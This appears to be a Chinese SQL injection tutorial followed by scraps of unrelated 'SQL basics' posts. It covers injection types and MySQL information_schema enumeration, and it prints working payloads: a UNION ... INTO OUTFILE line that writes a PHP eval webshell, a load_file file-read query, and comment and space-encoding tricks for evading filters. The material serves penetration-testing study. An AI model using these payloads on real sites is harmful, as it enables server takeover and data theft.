sql注入是指web應用程式對使用者輸入資料的合法性沒有判斷,前端傳入後端的引數是攻擊者可控的,並且引數帶入資料庫查詢,攻擊者可以構造不同的sql語句來實現對資料庫的任意操作。可以進行資料查詢、webshell寫入、命令執行等操作
sql注入漏洞的產生必須滿足兩個條件:1 引數使用者可控 2 引數帶入資料庫查詢
按資料庫型別:
access、mssql、mysql、oracle、db2等
按提交方式:get、post、cookie、http頭、xff
按注入點型別:數字型、字元型、搜尋型
按執行效果:布林盲注、時間盲注、報錯注入、聯合注入、堆疊查詢注入
當傳入的引數為 1』 時,資料庫會執行以下**,並會報錯,因為這是不符合資料庫語法規範的:
select * from users where id=1』
當傳入的引數為and 1=1 時,不會報錯,因為1=1為真,所以返回的頁面是正常的;當傳入的引數為and 1=2時,因為條件為假,所以會返回乙個不同的結果:
select * from users where id=1 and 1=1 #條件為真,頁面正常無變化
select * from users where id=1 and 1=2 #條件為假,頁面異常或變化
資料庫資訊洩露:洩露資料庫中存放的資料、使用者隱私等
獲取webshell:當許可權為root且知道絕對路徑時,可以直接寫一句話木馬到伺服器。
union select 1,「<?php @eval($_post['cmd']);?>」,3 into outfile 「x:\xx\xx.php」,也可以查詢null值。
網頁篡改:注入出後台管理員使用者,登陸後台後發布惡意資料、篡改後台資料等。
**掛馬 : 當拿到webshell或者獲取到伺服器的許可權後,可將一些網頁木馬掛在伺服器上,去攻擊別人。
獲取系統許可權:當許可權足夠高時,可以獲取系統主機的許可權。
萬能密碼:利用特定的payload登入後台或者其他頁面。
檔案讀取:讀取敏感檔案。
union select 1,2,hex(loadfile(『d:\phpstudy\phptutorial\www\x.php』))–+
布林盲注(boolean-based blind sql injection)
即可以根據返回頁面判斷條件真假的注入。
時間盲注(time-based blind sql injection)
即不能根據頁面返回內容判斷任何資訊,用條件語句檢視時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。
報錯注入(error-based sql injection)
即頁面會返回錯誤資訊,或者把注入的語句的結果直接返回在頁面中。
聯合注入(union query sql injection)
可以使用union的情況下的注入
堆查詢注入(stacked queries sql injection)
可以同時執行多條語句的執行時的注入。
在滲透中,目前主流站點的站點架構一般為apache+php+mysql,所以我們主要來學習下mysql資料庫中與sql注入相關的知識點。
這裡主要學習mysql>=5.0版本之後的乙個內建庫 information_schema庫。
在 mysql中,把information_schema看作是乙個資料庫,確切說是資訊資料庫。其中儲存著關於mysql伺服器所維護的所有其他資料庫的資訊。如資料庫名,資料庫的表,表欄的資料型別與訪問權 限等。
在這個庫中,和滲透相關的表有三個:
schemata表:儲存該使用者建立的所有的資料庫庫名,這裡我們只需要記住schema_name這個字段。
tables表:儲存該使用者建立的所有的資料庫庫名和表名,這裡我們只需要記住table_schema和table_name這兩個字段。
columns表:儲存該使用者建立的所有的資料庫庫名、表名和欄位名,這裡我們只需要記住table_schema、table_name和column_name。
mysql注入相關語句查詢當前資料庫版本:select version();
查詢當前資料庫:select database();
查詢當前路徑:select @@basedir;
查詢當前資料庫使用者:select user();
查詢當前mysql路徑:select @@datadir;
查詢伺服器的系統版本:select@@version_compile_os
查詢資料庫:select schema_name from information_schema.schemata;
查詢表名:select table_name from information_schema.tables where table_schema=『庫名』 limit 0,1;
查詢列名:select column_name from information_schema.columns where table_schema=『庫名』 and table_name=『表名』 limit 0,1;
ascii()函式/ord()函式: 將某個字串轉化為ascii值
sleep()函式: 網頁延遲n秒後,輸出結果
if()函式 條件判斷函式
if(a,b,c): if判斷句,a為條件,b、c為執行語句;如果a為真就執行b,a為假就執行c;
length()函式: 返回字段/結果/函式的長度,length(column_name)
常用length(database()) 即返回當前資料庫名長度
rand()函式: 隨機函式,返回0~1之間的某個值
floor(a): 取整函式,返回小於等於a,且值最接近a的乙個整數
count()函式: 聚合函式也稱作計數函式,返回查詢物件的總數
locate()函式: locate(str,string)返回str字元在string字串**現的位置,沒有返回0
position()函式: position(str in str)返回str字元在string字串**現的位置,沒有返回0
instr()函式: instr(string,str)返回str字串在string**現的位置,與locate相
concat_ws()/group_concat() 函式使用分割符將乙個或多個字串連線成乙個字串,是concat()的特殊形式,第乙個引數是其它引數的分隔符,分隔符的位置在連線的兩個字串之間,分隔符可以是乙個字串,也可以是其它引數。如果分隔符為 null,則結果為 null。函式會忽略任何分隔符引數後的 null 值。
hex()&unhex()函式hex對資料進行十六進製制編碼
substr()/substring()/mid()函式此函式是用來擷取字串一部分
left()函式left ( string, n ),string為要擷取的字串,n為擷取的位數。
updatexml()函式updatexml()函式與extractvalue()類似,是更新xml文件的函式。
load_file()函式load_file()函式是mysql讀取本地檔案的函式
into outfile()函式into outfile()函式是用來匯出檔案的。
用法示例:select 「hello word」 into outfile 『c:/phpstudy/phptutorial/www/1.txt』;
查詢方法:show variables like 『%secure_file_priv%』:
查詢結果為:secure_file_priv null時,表示不允許匯入匯出
查詢結果為:secure_file_priv /***/時,表示只允許在當前目錄匯入匯出
查詢結果為:secure_file_priv (空白)時,表示可以在任意目錄進行匯入匯出
mysql5.6.34版本以後 secure_file_priv的值預設為null。且無法用sql語句對其進行修改,只能夠通過以下方式修改mysql.ini或 my.cn:
windows:mysql.ini中新增secure_file_priv=
linux:/etc/my.cnf的[mysqld]下面新增local-infile=0
在mysql中,常見的注釋符有以下幾種:
–空格//
內聯注釋符及特性:
/*!code */
內聯注釋符是一種基於注塊注釋衍生出來的注釋風格,它可以用於整個sql語句中,用來執行sql語句,內聯注釋有個特殊點,和mysql版本息息相關,也就是:當內斂注釋**現小於或等於當前版本號的時候,內聯注釋符裡的子句會被執行,大於時則不會被執行,注意版本的寫法,例如,5.5.34,在內斂注釋中需要寫為50534,版本號第二位加0。
常見的空格符號:
兩個空格代替乙個空格,用tab代替空格,%a0=空格
%20 %09 %0a %0b %0c %0d %a0 %00 // /!/
SQL基礎知識
本篇文章是講解sql的基礎知識,但也講得不全面,我只記錄了自己不懂的或者不熟悉的東西。一 在sql中簡單的查詢 1.重複的記錄 distinct 可以通過在選擇列表前的select語句中插入關鍵字distinct來消除重複的查詢結果記錄。比如 select distinct city from ci...
SQL基礎知識
sql作用 1.面向資料庫執行查詢 2.可從資料庫取回資料 3.可在資料庫中插入新的記錄 4.可更新資料庫中的資料 5.可從資料庫刪除記錄 6.可建立新資料庫 7.可在資料庫中建立新錶 8.可在資料庫中建立儲存過程 9.可在資料庫中建立檢視 10.可以設定表 儲存過程和檢視的許可權。資料庫操作語句 ...
SQL基礎知識
資料庫就是資料的倉庫,dbms資料庫管理系統同來對大資料的管理 檢索,就是對資料庫的管理。乙個dbms可以管理多個資料庫,這些不同的資料庫叫catalog或database,dbms允許把不同的database儲存在不同磁碟,每個資料庫中的表名不能相同。table 表,把不同型別的資料放到不同的區域...